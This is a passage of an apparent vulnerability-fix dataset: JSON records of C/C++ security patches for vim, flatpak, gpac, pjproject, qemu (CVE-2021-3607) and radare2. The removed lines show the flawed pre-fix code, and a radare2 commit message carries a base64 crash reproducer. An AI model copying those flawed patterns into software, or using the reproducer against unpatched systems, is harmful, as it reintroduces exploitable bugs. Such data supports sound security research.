{\n-\t\toff = (*mb_head_off)(oldp, oldp + offset + spaces);\n-\t\tspaces -= off;\n-\t\tcount -= off;\n-\t }\n-\t else\n-\t {\n-\t\t// spaces fill the gap, the character that's at the edge moves\n-\t\t// right\n-\t\toff = (*mb_head_off)(oldp, oldp + offset);\n-\t\toffset -= off;\n-\t }\n-\t}\n \tif (spaces < 0) // can happen when the cursor was moved\n \t spaces = 0;\n ", "sections": [{"section": "@@ -529,24 +529,9 @@ block_insert(\n \t}\n \n \tif (has_mbyte && spaces > 0)\n-\t{\n-\t int off;\n+\t // avoid copying part of a multi-byte character\n+\t offset -= (*mb_head_off)(oldp, oldp + offset);\n \n-\t // Avoid starting halfway a multi-byte character.\n-\t if (b_insert)\n-\t {\n-\t\toff = (*mb_head_off)(oldp, oldp + offset + spaces);\n-\t\tspaces -= off;\n-\t\tcount -= off;\n-\t }\n-\t else\n-\t {\n-\t\t// spaces fill the gap, the character that's at the edge moves\n-\t\t// right\n-\t\toff = (*mb_head_off)(oldp, oldp + offset);\n-\t\toffset -= off;\n-\t }\n-\t}\n \tif (spaces < 0) // can happen when the cursor was moved\n \t spaces = 0;\n ", "related": false}]} +{"owner": "flatpak", "repo": "flatpak", "language": "C", "file_name": "common/flatpak-context.c", "commit_id": "445bddeee657fdc8d2a0a1f0de12975400d4fc1a", "commit_message": "Make --nofilesystem=host/home remove access to subdirs of those\n\nPreviously --nofilesystem=host only removed specifically access to the\n`host` permissions, and not necessarily other filesystems (like `home`\nor `/some/path`). This isn't very useful to limit access because you\ndon't know what other filesystems the app may have access too.\n\nWe change this to mean that `--nofilesystem=host` removes *all* filesystem\naccess from the parent layer, and `--nofilesystem=home` removes all\nfile access to the homedir and paths inside it.\n\nThe available layers are, in order:\n\n * app permissions\n * overrides\n * commandline args\n\nThis allows you to start from scratch with the filesystem permissions\nin the overrides or the commandline. This is a small change in\nbehaviour, but not a lot of things use --nofilesystem, and the ones\nthat do probably expects this behaviour.", "patch": "@@ -852,6 +852,31 @@ flatpak_context_parse_filesystem (const char *filesystem_and_mode,\n return FALSE;\n }\n \n+/* Note: This only works with valid keys, i.e. they passed flatpak_context_parse_filesystem */\n+static gboolean\n+flatpak_filesystem_key_in_home (const char *filesystem)\n+{\n+ /* \"home\" is definitely in home */\n+ if (strcmp (filesystem, \"home\") == 0)\n+ return TRUE;\n+\n+ /* All the other special fs:es are non-home.\n+ * Note: This considers absolute paths that are in the homedir as non-home.\n+ */\n+ if (g_strv_contains (flatpak_context_special_filesystems, filesystem) ||\n+ g_str_has_prefix (filesystem, \"/\"))\n+ return FALSE;\n+\n+ /* Files in xdg-run are not in home */\n+ if (g_str_has_prefix (filesystem, \"xdg-run\"))\n+ return FALSE;\n+\n+ /* All remaining keys (~/, xdg-data, etc) are considered in home,\n+ * Note: technically $XDG_HOME_DATA could point outside the homedir, but we ignore that.\n+ */\n+ return TRUE;\n+}\n+\n static void\n flatpak_context_take_filesystem (FlatpakContext *context,\n char *fs,\n@@ -866,6 +891,8 @@ flatpak_context_merge (FlatpakContext *context,\n {\n GHashTableIter iter;\n gpointer key, value;\n+ gboolean no_home = FALSE;\n+ gboolean no_host = FALSE;\n \n context->shares &= ~other->shares_valid;\n context->shares |= other->shares;\n@@ -888,6 +915,41 @@ flatpak_context_merge (FlatpakContext *context,\n while (g_hash_table_iter_next (&iter, &key, &value))\n g_hash_table_insert (context->persistent, g_strdup (key), value);\n \n+ /* We first handle all negative home and host as they override other\n+ keys than themselves from the parent */\n+ if (g_hash_table_lookup_extended (other->filesystems,\n+ \"host\",\n+ NULL, &value))\n+ {\n+ FlatpakFilesystemMode host_mode = GPOINTER_TO_INT (value);\n+ if (host_mode == FLATPAK_FILESYSTEM_MODE_NONE)\n+ no_host = TRUE;\n+ }\n+\n+ if (g_hash_table_lookup_extended (other->filesystems,\n+ \"home\",\n+ NULL, &value))\n+ {\n+ FlatpakFilesystemMode home_mode = GPOINTER_TO_INT (value);\n+ if (home_mode == FLATPAK_FILESYSTEM_MODE_NONE)\n+ no_home = TRUE;\n+ }\n+\n+ if (no_host)\n+ {\n+ g_hash_table_remove_all (context->filesystems);\n+ }\n+ else if (no_home)\n+ {\n+ g_hash_table_iter_init (&iter, context->filesystems);\n+ while (g_hash_table_iter_next (&iter, &key, &value))\n+ {\n+ if (flatpak_filesystem_key_in_home ((const char *)key))\n+ g_hash_table_iter_remove (&iter);\n+ }\n+ }\n+\n+ /* Then set the new ones, which includes propagating the nohost and nohome ones. */\n g_hash_table_iter_init (&iter, other->filesystems);\n while (g_hash_table_iter_next (&iter, &key, &value))\n g_hash_table_insert (context->filesystems, g_strdup (key), value);", "sections": [{"section": "@@ -852,6 +852,31 @@ flatpak_context_parse_filesystem (const char *filesystem_and_mode,\n return FALSE;\n }\n \n+/* Note: This only works with valid keys, i.e. they passed flatpak_context_parse_filesystem */\n+static gboolean\n+flatpak_filesystem_key_in_home (const char *filesystem)\n+{\n+ /* \"home\" is definitely in home */\n+ if (strcmp (filesystem, \"home\") == 0)\n+ return TRUE;\n+\n+ /* All the other special fs:es are non-home.\n+ * Note: This considers absolute paths that are in the homedir as non-home.\n+ */\n+ if (g_strv_contains (flatpak_context_special_filesystems, filesystem) ||\n+ g_str_has_prefix (filesystem, \"/\"))\n+ return FALSE;\n+\n+ /* Files in xdg-run are not in home */\n+ if (g_str_has_prefix (filesystem, \"xdg-run\"))\n+ return FALSE;\n+\n+ /* All remaining keys (~/, xdg-data, etc) are considered in home,\n+ * Note: technically $XDG_HOME_DATA could point outside the homedir, but we ignore that.\n+ */\n+ return TRUE;\n+}\n+\n static void\n flatpak_context_take_filesystem (FlatpakContext *context,\n char *fs,\n", "related": false}, {"section": "@@ -866,6 +891,8 @@ flatpak_context_merge (FlatpakContext *context,\n {\n GHashTableIter iter;\n gpointer key, value;\n+ gboolean no_home = FALSE;\n+ gboolean no_host = FALSE;\n \n context->shares &= ~other->shares_valid;\n context->shares |= other->shares;\n", "related": false}, {"section": "@@ -888,6 +915,41 @@ flatpak_context_merge (FlatpakContext *context,\n while (g_hash_table_iter_next (&iter, &key, &value))\n g_hash_table_insert (context->persistent, g_strdup (key), value);\n \n+ /* We first handle all negative home and host as they override other\n+ keys than themselves from the parent */\n+ if (g_hash_table_lookup_extended (other->filesystems,\n+ \"host\",\n+ NULL, &value))\n+ {\n+ FlatpakFilesystemMode host_mode = GPOINTER_TO_INT (value);\n+ if (host_mode == FLATPAK_FILESYSTEM_MODE_NONE)\n+ no_host = TRUE;\n+ }\n+\n+ if (g_hash_table_lookup_extended (other->filesystems,\n+ \"home\",\n+ NULL, &value))\n+ {\n+ FlatpakFilesystemMode home_mode = GPOINTER_TO_INT (value);\n+ if (home_mode == FLATPAK_FILESYSTEM_MODE_NONE)\n+ no_home = TRUE;\n+ }\n+\n+ if (no_host)\n+ {\n+ g_hash_table_remove_all (context->filesystems);\n+ }\n+ else if (no_home)\n+ {\n+ g_hash_table_iter_init (&iter, context->filesystems);\n+ while (g_hash_table_iter_next (&iter, &key, &value))\n+ {\n+ if (flatpak_filesystem_key_in_home ((const char *)key))\n+ g_hash_table_iter_remove (&iter);\n+ }\n+ }\n+\n+ /* Then set the new ones, which includes propagating the nohost and nohome ones. */\n g_hash_table_iter_init (&iter, other->filesystems);\n while (g_hash_table_iter_next (&iter, &key, &value))\n g_hash_table_insert (context->filesystems, g_strdup (key), value);", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/media_tools/isom_hinter.c", "commit_id": "f5a038e6893019ee471b6a57490cf7a495673816", "commit_message": "fixed #1885", "patch": "@@ -1241,7 +1241,7 @@ GF_Err gf_hinter_finalize(GF_ISOFile *file, GF_SDP_IODProfile IOD_Profile, u32 b\n \t\tif (gf_isom_get_sample_count(file, sceneT)==1) {\n \t\t\tsamp = gf_isom_get_sample(file, sceneT, 1, &descIndex);\n \t\t\tif (samp && gf_hinter_can_embbed_data(samp->data, samp->dataLength, GF_STREAM_SCENE)) {\n-\n+\t\t\t\tInitSL_NULL(&slc);\n \t\t\t\tslc.timeScale = slc.timestampResolution = gf_isom_get_media_timescale(file, sceneT);\n \t\t\t\tslc.OCRResolution = 1000;\n \t\t\t\tslc.startCTS = samp->DTS+samp->CTS_Offset;", "sections": [{"section": "@@ -1241,7 +1241,7 @@ GF_Err gf_hinter_finalize(GF_ISOFile *file, GF_SDP_IODProfile IOD_Profile, u32 b\n \t\tif (gf_isom_get_sample_count(file, sceneT)==1) {\n \t\t\tsamp = gf_isom_get_sample(file, sceneT, 1, &descIndex);\n \t\t\tif (samp && gf_hinter_can_embbed_data(samp->data, samp->dataLength, GF_STREAM_SCENE)) {\n-\n+\t\t\t\tInitSL_NULL(&slc);\n \t\t\t\tslc.timeScale = slc.timestampResolution = gf_isom_get_media_timescale(file, sceneT);\n \t\t\t\tslc.OCRResolution = 1000;\n \t\t\t\tslc.startCTS = samp->DTS+samp->CTS_Offset;", "related": false}]} +{"owner": "flatpak", "repo": "flatpak", "language": "C", "file_name": "common/flatpak-transaction.c", "commit_id": "d9a8f9d8ccc0b7c1135d0ecde006a75d25f66aee", "commit_message": "Transaction: Fail the resolve if xa.metadata invalid or missing\n\nIf we fail to parse xa.metadata from the summary cache or the commit\nxa.metadata we fail the resolve.\n\nIf xa.metadata is missing in the commit we fail the resolve (it is\nalways set in the summary cache, because summary update converts\nmissing xa.metadata to \"\", so we either get that, or cache miss which\nleads to resolving from the commit.\n\nThis means that op->resolved_metadata is always set during install and\nupdates, which means we will show the app permissions. The transaction\nwill also always make sure that this data actually matches what gets\ndeployed.\n\nBefore this change an invalid metadata in the summary cache could lead\nto a NULL resolved_metadata, which means we wouldn't print the app\npermissions, yet we would still deploy some metadata file that could\nhave permissions. (NOTE: It would fail to deploy unless the\nxa.metadata in the commit matched the metadata file, but in this\ncorner case we would't compare the summary and commit metadata, so\nthey may differ.)", "patch": "@@ -2970,12 +2970,13 @@ emit_eol_and_maybe_skip (FlatpakTransaction *self,\n g_signal_emit (self, signals[END_OF_LIFED_WITH_REBASE], 0, op->remote, flatpak_decomposed_get_ref (op->ref), op->eol, op->eol_rebase, previous_ids, &op->skip);\n }\n \n-static void\n+static gboolean\n mark_op_resolved (FlatpakTransactionOperation *op,\n const char *commit,\n GFile *sideload_path,\n GBytes *metadata,\n- GBytes *old_metadata)\n+ GBytes *old_metadata,\n+ GError **error)\n {\n g_debug (\"marking op %s:%s resolved to %s\", kind_to_str (op->kind), flatpak_decomposed_get_ref (op->ref), commit ? commit : \"-\");\n \n@@ -2997,13 +2998,12 @@ mark_op_resolved (FlatpakTransactionOperation *op,\n if (metadata)\n {\n g_autoptr(GKeyFile) metakey = g_key_file_new ();\n- if (g_key_file_load_from_bytes (metakey, metadata, G_KEY_FILE_NONE, NULL))\n- {\n- op->resolved_metadata = g_bytes_ref (metadata);\n- op->resolved_metakey = g_steal_pointer (&metakey);\n- }\n- else\n- g_message (\"Warning: Failed to parse metadata for %s\\n\", flatpak_decomposed_get_ref (op->ref));\n+ if (!g_key_file_load_from_bytes (metakey, metadata, G_KEY_FILE_NONE, NULL))\n+ return flatpak_fail_error (error, FLATPAK_ERROR_INVALID_DATA,\n+ \"Metadata for %s is invalid\", flatpak_decomposed_get_ref (op->ref));\n+\n+ op->resolved_metadata = g_bytes_ref (metadata);\n+ op->resolved_metakey = g_steal_pointer (&metakey);\n }\n if (old_metadata)\n {\n@@ -3014,31 +3014,40 @@ mark_op_resolved (FlatpakTransactionOperation *op,\n op->resolved_old_metakey = g_steal_pointer (&metakey);\n }\n else\n- g_message (\"Warning: Failed to parse old metadata for %s\\n\", flatpak_decomposed_get_ref (op->ref));\n+ {\n+ /* This shouldn't happen, but a NULL old metadata is safe (all permisssions are considered new) */\n+ g_message (\"Warning: Failed to parse old metadata for %s\\n\", flatpak_decomposed_get_ref (op->ref));\n+ }\n }\n+\n+ return TRUE;\n }\n \n-static void\n+static gboolean\n resolve_op_end (FlatpakTransaction *self,\n FlatpakTransactionOperation *op,\n const char *checksum,\n GFile *sideload_path,\n- GBytes *metadata_bytes)\n+ GBytes *metadata_bytes,\n+ GError **error)\n {\n g_autoptr(GBytes) old_metadata_bytes = NULL;\n \n old_metadata_bytes = load_deployed_metadata (self, op->ref, NULL, NULL);\n- mark_op_resolved (op, checksum, sideload_path, metadata_bytes, old_metadata_bytes);\n+ if (!mark_op_resolved (op, checksum, sideload_path, metadata_bytes, old_metadata_bytes, error))\n+ return FALSE;\n emit_eol_and_maybe_skip (self, op);\n+ return TRUE;\n }\n \n \n-static void\n+static gboolean\n resolve_op_from_commit (FlatpakTransaction *self,\n FlatpakTransactionOperation *op,\n const char *checksum,\n GFile *sideload_path,\n- GVariant *commit_data)\n+ GVariant *commit_data,\n+ GError **error)\n {\n g_autoptr(GBytes) metadata_bytes = NULL;\n g_autoptr(GVariant) commit_metadata = NULL;\n@@ -3049,9 +3058,11 @@ resolve_op_from_commit (FlatpakTransaction *self,\n commit_metadata = g_variant_get_child_value (commit_data, 0);\n g_variant_lookup (commit_metadata, \"xa.metadata\", \"&s\", &xa_metadata);\n if (xa_metadata == NULL)\n- g_message (\"Warning: No xa.metadata in local commit %s ref %s\", checksum, flatpak_decomposed_get_ref (op->ref));\n- else\n- metadata_bytes = g_bytes_new (xa_metadata, strlen (xa_metadata));\n+ return flatpak_fail_error (error, FLATPAK_ERROR_INVALID_DATA,\n+ \"No xa.metadata in local commit %s ref %s\",\n+ checksum, flatpak_decomposed_get_ref (op->ref));\n+\n+ metadata_bytes = g_bytes_new (xa_metadata, strlen (xa_metadata));\n \n if (g_variant_lookup (commit_metadata, \"xa.download-size\", \"t\", &download_size))\n op->download_size = GUINT64_FROM_BE (download_size);\n@@ -3061,15 +3072,19 @@ resolve_op_from_commit (FlatpakTransaction *self,\n g_variant_lookup (commit_metadata, OSTREE_COMMIT_META_KEY_ENDOFLIFE, \"s\", &op->eol);\n g_variant_lookup (commit_metadata, OSTREE_COMMIT_META_KEY_ENDOFLIFE_REBASE, \"s\", &op->eol_rebase);\n \n- resolve_op_end (self, op, checksum, sideload_path, metadata_bytes);\n+ return resolve_op_end (self, op, checksum, sideload_path, metadata_bytes, error);\n }\n \n+/* NOTE: In case of non-available summary this returns FALSE with a\n+ * NULL error, but for other error cases it will be set.\n+ */\n static gboolean\n try_resolve_op_from_metadata (FlatpakTransaction *self,\n FlatpakTransactionOperation *op,\n const char *checksum,\n GFile *sideload_path,\n- FlatpakRemoteState *state)\n+ FlatpakRemoteState *state,\n+ GError **error)\n {\n g_autoptr(GBytes) metadata_bytes = NULL;\n guint64 download_size = 0;\n@@ -3109,8 +3124,7 @@ try_resolve_op_from_metadata (FlatpakTransaction *self,\n op->token_type = GINT32_FROM_LE (var_metadata_lookup_int32 (sparse_cache, FLATPAK_SPARSE_CACHE_KEY_TOKEN_TYPE, op->token_type));\n }\n \n- resolve_op_end (self, op, checksum, sideload_path, metadata_bytes);\n- return TRUE;\n+ return resolve_op_end (self, op, checksum, sideload_path, metadata_bytes, error);\n }\n \n static gboolean\n@@ -3153,7 +3167,8 @@ resolve_ops (FlatpakTransaction *self,\n * checksum we got was the version already installed.\n */\n g_assert (op->resolved_commit != NULL);\n- mark_op_resolved (op, op->resolved_commit, NULL, NULL, NULL);\n+ if (!mark_op_resolved (op, op->resolved_commit, NULL, NULL, NULL, error))\n+ return FALSE;\n continue;\n }\n \n@@ -3167,14 +3182,16 @@ resolve_ops (FlatpakTransaction *self,\n op->skip = TRUE;\n continue;\n }\n- mark_op_resolved (op, checksum, NULL, metadata_bytes, NULL);\n+ if (!mark_op_resolved (op, checksum, NULL, metadata_bytes, NULL, error))\n+ return FALSE;\n continue;\n }\n \n if (op->kind == FLATPAK_TRANSACTION_OPERATION_INSTALL_BUNDLE)\n {\n g_assert (op->commit != NULL);\n- mark_op_resolved (op, op->commit, NULL, op->external_metadata, NULL);\n+ if (!mark_op_resolved (op, op->commit, NULL, op->external_metadata, NULL, error))\n+ return FALSE;\n continue;\n }\n \n@@ -3205,7 +3222,8 @@ resolve_ops (FlatpakTransaction *self,\n if (commit_data == NULL)\n return FALSE;\n \n- resolve_op_from_commit (self, op, checksum, NULL, commit_data);\n+ if (!resolve_op_from_commit (self, op, checksum, NULL, commit_data, error))\n+ return FALSE;\n }\n else\n {\n@@ -3264,9 +3282,16 @@ resolve_ops (FlatpakTransaction *self,\n }\n \n /* First try to resolve via metadata (if remote is available and its metadata matches the commit version) */\n- if (!try_resolve_op_from_metadata (self, op, checksum, sideload_path, state))\n+ if (!try_resolve_op_from_metadata (self, op, checksum, sideload_path, state, &local_error))\n {\n- /* Else try to load the commit object.\n+ if (local_error)\n+ {\n+ /* Actual error, not just missing from summary */\n+ g_propagate_error (error, g_steal_pointer (&local_error));\n+ return FALSE;\n+ }\n+\n+ /* Missing from summary, try to load the commit object.\n * Note, we don't have a token here, so this will not work for authenticated apps.\n * We handle this by catching the 401 http status and retrying. */\n g_autoptr(GVariant) commit_data = NULL;\n@@ -3302,7 +3327,8 @@ resolve_ops (FlatpakTransaction *self,\n return FALSE;\n }\n \n- resolve_op_from_commit (self, op, checksum, sideload_path, commit_data);\n+ if (!resolve_op_from_commit (self, op, checksum, sideload_path, commit_data, error))\n+ return FALSE;\n }\n }\n }", "sections": [{"section": "@@ -2970,12 +2970,13 @@ emit_eol_and_maybe_skip (FlatpakTransaction *self,\n g_signal_emit (self, signals[END_OF_LIFED_WITH_REBASE], 0, op->remote, flatpak_decomposed_get_ref (op->ref), op->eol, op->eol_rebase, previous_ids, &op->skip);\n }\n \n-static void\n+static gboolean\n mark_op_resolved (FlatpakTransactionOperation *op,\n const char *commit,\n GFile *sideload_path,\n GBytes *metadata,\n- GBytes *old_metadata)\n+ GBytes *old_metadata,\n+ GError **error)\n {\n g_debug (\"marking op %s:%s resolved to %s\", kind_to_str (op->kind), flatpak_decomposed_get_ref (op->ref), commit ? commit : \"-\");\n \n", "related": false}, {"section": "@@ -2997,13 +2998,12 @@ mark_op_resolved (FlatpakTransactionOperation *op,\n if (metadata)\n {\n g_autoptr(GKeyFile) metakey = g_key_file_new ();\n- if (g_key_file_load_from_bytes (metakey, metadata, G_KEY_FILE_NONE, NULL))\n- {\n- op->resolved_metadata = g_bytes_ref (metadata);\n- op->resolved_metakey = g_steal_pointer (&metakey);\n- }\n- else\n- g_message (\"Warning: Failed to parse metadata for %s\\n\", flatpak_decomposed_get_ref (op->ref));\n+ if (!g_key_file_load_from_bytes (metakey, metadata, G_KEY_FILE_NONE, NULL))\n+ return flatpak_fail_error (error, FLATPAK_ERROR_INVALID_DATA,\n+ \"Metadata for %s is invalid\", flatpak_decomposed_get_ref (op->ref));\n+\n+ op->resolved_metadata = g_bytes_ref (metadata);\n+ op->resolved_metakey = g_steal_pointer (&metakey);\n }\n if (old_metadata)\n {\n", "related": false}, {"section": "@@ -3014,31 +3014,40 @@ mark_op_resolved (FlatpakTransactionOperation *op,\n op->resolved_old_metakey = g_steal_pointer (&metakey);\n }\n else\n- g_message (\"Warning: Failed to parse old metadata for %s\\n\", flatpak_decomposed_get_ref (op->ref));\n+ {\n+ /* This shouldn't happen, but a NULL old metadata is safe (all permisssions are considered new) */\n+ g_message (\"Warning: Failed to parse old metadata for %s\\n\", flatpak_decomposed_get_ref (op->ref));\n+ }\n }\n+\n+ return TRUE;\n }\n \n-static void\n+static gboolean\n resolve_op_end (FlatpakTransaction *self,\n FlatpakTransactionOperation *op,\n const char *checksum,\n GFile *sideload_path,\n- GBytes *metadata_bytes)\n+ GBytes *metadata_bytes,\n+ GError **error)\n {\n g_autoptr(GBytes) old_metadata_bytes = NULL;\n \n old_metadata_bytes = load_deployed_metadata (self, op->ref, NULL, NULL);\n- mark_op_resolved (op, checksum, sideload_path, metadata_bytes, old_metadata_bytes);\n+ if (!mark_op_resolved (op, checksum, sideload_path, metadata_bytes, old_metadata_bytes, error))\n+ return FALSE;\n emit_eol_and_maybe_skip (self, op);\n+ return TRUE;\n }\n \n \n-static void\n+static gboolean\n resolve_op_from_commit (FlatpakTransaction *self,\n FlatpakTransactionOperation *op,\n const char *checksum,\n GFile *sideload_path,\n- GVariant *commit_data)\n+ GVariant *commit_data,\n+ GError **error)\n {\n g_autoptr(GBytes) metadata_bytes = NULL;\n g_autoptr(GVariant) commit_metadata = NULL;\n", "related": false}, {"section": "@@ -3049,9 +3058,11 @@ resolve_op_from_commit (FlatpakTransaction *self,\n commit_metadata = g_variant_get_child_value (commit_data, 0);\n g_variant_lookup (commit_metadata, \"xa.metadata\", \"&s\", &xa_metadata);\n if (xa_metadata == NULL)\n- g_message (\"Warning: No xa.metadata in local commit %s ref %s\", checksum, flatpak_decomposed_get_ref (op->ref));\n- else\n- metadata_bytes = g_bytes_new (xa_metadata, strlen (xa_metadata));\n+ return flatpak_fail_error (error, FLATPAK_ERROR_INVALID_DATA,\n+ \"No xa.metadata in local commit %s ref %s\",\n+ checksum, flatpak_decomposed_get_ref (op->ref));\n+\n+ metadata_bytes = g_bytes_new (xa_metadata, strlen (xa_metadata));\n \n if (g_variant_lookup (commit_metadata, \"xa.download-size\", \"t\", &download_size))\n op->download_size = GUINT64_FROM_BE (download_size);\n", "related": false}, {"section": "@@ -3061,15 +3072,19 @@ resolve_op_from_commit (FlatpakTransaction *self,\n g_variant_lookup (commit_metadata, OSTREE_COMMIT_META_KEY_ENDOFLIFE, \"s\", &op->eol);\n g_variant_lookup (commit_metadata, OSTREE_COMMIT_META_KEY_ENDOFLIFE_REBASE, \"s\", &op->eol_rebase);\n \n- resolve_op_end (self, op, checksum, sideload_path, metadata_bytes);\n+ return resolve_op_end (self, op, checksum, sideload_path, metadata_bytes, error);\n }\n \n+/* NOTE: In case of non-available summary this returns FALSE with a\n+ * NULL error, but for other error cases it will be set.\n+ */\n static gboolean\n try_resolve_op_from_metadata (FlatpakTransaction *self,\n FlatpakTransactionOperation *op,\n const char *checksum,\n GFile *sideload_path,\n- FlatpakRemoteState *state)\n+ FlatpakRemoteState *state,\n+ GError **error)\n {\n g_autoptr(GBytes) metadata_bytes = NULL;\n guint64 download_size = 0;\n", "related": false}, {"section": "@@ -3109,8 +3124,7 @@ try_resolve_op_from_metadata (FlatpakTransaction *self,\n op->token_type = GINT32_FROM_LE (var_metadata_lookup_int32 (sparse_cache, FLATPAK_SPARSE_CACHE_KEY_TOKEN_TYPE, op->token_type));\n }\n \n- resolve_op_end (self, op, checksum, sideload_path, metadata_bytes);\n- return TRUE;\n+ return resolve_op_end (self, op, checksum, sideload_path, metadata_bytes, error);\n }\n \n static gboolean\n", "related": false}, {"section": "@@ -3153,7 +3167,8 @@ resolve_ops (FlatpakTransaction *self,\n * checksum we got was the version already installed.\n */\n g_assert (op->resolved_commit != NULL);\n- mark_op_resolved (op, op->resolved_commit, NULL, NULL, NULL);\n+ if (!mark_op_resolved (op, op->resolved_commit, NULL, NULL, NULL, error))\n+ return FALSE;\n continue;\n }\n \n", "related": false}, {"section": "@@ -3167,14 +3182,16 @@ resolve_ops (FlatpakTransaction *self,\n op->skip = TRUE;\n continue;\n }\n- mark_op_resolved (op, checksum, NULL, metadata_bytes, NULL);\n+ if (!mark_op_resolved (op, checksum, NULL, metadata_bytes, NULL, error))\n+ return FALSE;\n continue;\n }\n \n if (op->kind == FLATPAK_TRANSACTION_OPERATION_INSTALL_BUNDLE)\n {\n g_assert (op->commit != NULL);\n- mark_op_resolved (op, op->commit, NULL, op->external_metadata, NULL);\n+ if (!mark_op_resolved (op, op->commit, NULL, op->external_metadata, NULL, error))\n+ return FALSE;\n continue;\n }\n \n", "related": false}, {"section": "@@ -3205,7 +3222,8 @@ resolve_ops (FlatpakTransaction *self,\n if (commit_data == NULL)\n return FALSE;\n \n- resolve_op_from_commit (self, op, checksum, NULL, commit_data);\n+ if (!resolve_op_from_commit (self, op, checksum, NULL, commit_data, error))\n+ return FALSE;\n }\n else\n {\n", "related": false}, {"section": "@@ -3264,9 +3282,16 @@ resolve_ops (FlatpakTransaction *self,\n }\n \n /* First try to resolve via metadata (if remote is available and its metadata matches the commit version) */\n- if (!try_resolve_op_from_metadata (self, op, checksum, sideload_path, state))\n+ if (!try_resolve_op_from_metadata (self, op, checksum, sideload_path, state, &local_error))\n {\n- /* Else try to load the commit object.\n+ if (local_error)\n+ {\n+ /* Actual error, not just missing from summary */\n+ g_propagate_error (error, g_steal_pointer (&local_error));\n+ return FALSE;\n+ }\n+\n+ /* Missing from summary, try to load the commit object.\n * Note, we don't have a token here, so this will not work for authenticated apps.\n * We handle this by catching the 401 http status and retrying. */\n g_autoptr(GVariant) commit_data = NULL;\n", "related": false}, {"section": "@@ -3302,7 +3327,8 @@ resolve_ops (FlatpakTransaction *self,\n return FALSE;\n }\n \n- resolve_op_from_commit (self, op, checksum, sideload_path, commit_data);\n+ if (!resolve_op_from_commit (self, op, checksum, sideload_path, commit_data, error))\n+ return FALSE;\n }\n }\n }", "related": false}]} +{"owner": "pjsip", "repo": "pjproject", "language": "C++", "file_name": "pjmedia/src/pjmedia-codec/and_aud_mediacodec.cpp", "commit_id": "1aa2c0e0fb60a1b0bf793e0d834073ffe50fb196", "commit_message": "Merge pull request from GHSA-8fmx-hqw7-6gmc", "patch": "@@ -754,6 +754,7 @@ static pj_status_t and_media_alloc_codec(pjmedia_codec_factory *factory,\n }\n if (idx == -1) {\n \t*p_codec = NULL;\n+\tpj_mutex_unlock(and_media_factory.mutex);\n \treturn PJMEDIA_CODEC_EFAILED;\n }\n ", "sections": [{"section": "@@ -754,6 +754,7 @@ static pj_status_t and_media_alloc_codec(pjmedia_codec_factory *factory,\n }\n if (idx == -1) {\n \t*p_codec = NULL;\n+\tpj_mutex_unlock(and_media_factory.mutex);\n \treturn PJMEDIA_CODEC_EFAILED;\n }\n ", "related": false}]} +{"owner": "qemu", "repo": "qemu", "language": "C", "file_name": "hw/rdma/vmw/pvrdma_main.c", "commit_id": "32e5703cfea07c91e6e84bcb0313f633bb146534", "commit_message": "pvrdma: Ensure correct input on ring init (CVE-2021-3607)\n\nCheck the guest passed a non zero page count\nfor pvrdma device ring buffers.\n\nFixes: CVE-2021-3607\nReported-by: VictorV (Kunlun Lab) \nReviewed-by: VictorV (Kunlun Lab) \nSigned-off-by: Marcel Apfelbaum \nMessage-Id: <20210630114634.2168872-1-marcel@redhat.com>\nReviewed-by: Yuval Shaia \nTested-by: Yuval Shaia \nSigned-off-by: Marcel Apfelbaum ", "patch": "@@ -92,6 +92,11 @@ static int init_dev_ring(PvrdmaRing *ring, PvrdmaRingState **ring_state,\n uint64_t *dir, *tbl;\n int rc = 0;\n \n+ if (!num_pages) {\n+ rdma_error_report(\"Ring pages count must be strictly positive\");\n+ return -EINVAL;\n+ }\n+\n dir = rdma_pci_dma_map(pci_dev, dir_addr, TARGET_PAGE_SIZE);\n if (!dir) {\n rdma_error_report(\"Failed to map to page directory (ring %s)\", name);", "sections": [{"section": "@@ -92,6 +92,11 @@ static int init_dev_ring(PvrdmaRing *ring, PvrdmaRingState **ring_state,\n uint64_t *dir, *tbl;\n int rc = 0;\n \n+ if (!num_pages) {\n+ rdma_error_report(\"Ring pages count must be strictly positive\");\n+ return -EINVAL;\n+ }\n+\n dir = rdma_pci_dma_map(pci_dev, dir_addr, TARGET_PAGE_SIZE);\n if (!dir) {\n rdma_error_report(\"Failed to map to page directory (ring %s)\", name);", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/p/bin_qnx.c", "commit_id": "634b886e84a5c568d243e744becc6b3223e089cf", "commit_message": "Fix DoS in PE/QNX/DYLDCACHE/PSX parsers ##crash\n\n* Reported by lazymio\n* Reproducer: AAA4AAAAAB4=", "patch": "@@ -7,7 +7,7 @@ static int lmf_header_load(lmf_header *lmfh, RBuffer *buf, Sdb *db) {\n \tif (r_buf_size (buf) < sizeof (lmf_header)) {\n \t\treturn false;\n \t}\n-\tif (r_buf_fread_at (buf, QNX_HEADER_ADDR, (ut8 *) lmfh, \"iiiiiiiicccciiiicc\", 1) < QNX_HDR_SIZE) {\n+\tif (r_buf_fread_at (buf, QNX_HEADER_ADDR, (ut8 *) lmfh, \"iiiiiiiicccciiiicc\", 1) != QNX_HDR_SIZE) {\n \t\treturn false;\n \t}\n \tr_strf_buffer (32);\n@@ -64,15 +64,15 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\tgoto beach;\n \t}\n \t// Read the first record\n-\tif (r_buf_fread_at (bf->buf, 0, (ut8 *)&lrec, \"ccss\", 1) < QNX_RECORD_SIZE) {\n+\tif (r_buf_fread_at (bf->buf, 0, (ut8 *)&lrec, \"ccss\", 1) != QNX_RECORD_SIZE) {\n \t\tgoto beach;\n \t}\n \t// Load the header\n \tlmf_header_load (&qo->lmfh, bf->buf, qo->kv);\n \toffset += lrec.data_nbytes;\n \n \tfor (;;) {\n-\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lrec, \"ccss\", 1) < QNX_RECORD_SIZE) {\n+\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lrec, \"ccss\", 1) != QNX_RECORD_SIZE) {\n \t\t\tgoto beach;\n \t\t}\n \t\toffset += sizeof (lmf_record);\n@@ -84,7 +84,7 @@ static bool load_buffer(RBinFile *bf, void **bin_obj, RBuffer *buf, ut64 loadadd\n \t\t\tif (!ptr) {\n \t\t\t\tgoto beach;\n \t\t\t}\n-\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lres, \"ssss\", 1) < sizeof (lmf_resource)) {\n+\t\t\tif (r_buf_fread_at (bf->buf, offset, (ut8 *)&lres, \"ssss\", 1) != sizeof (lmf_resource)) {\n \t\t\t\tgoto 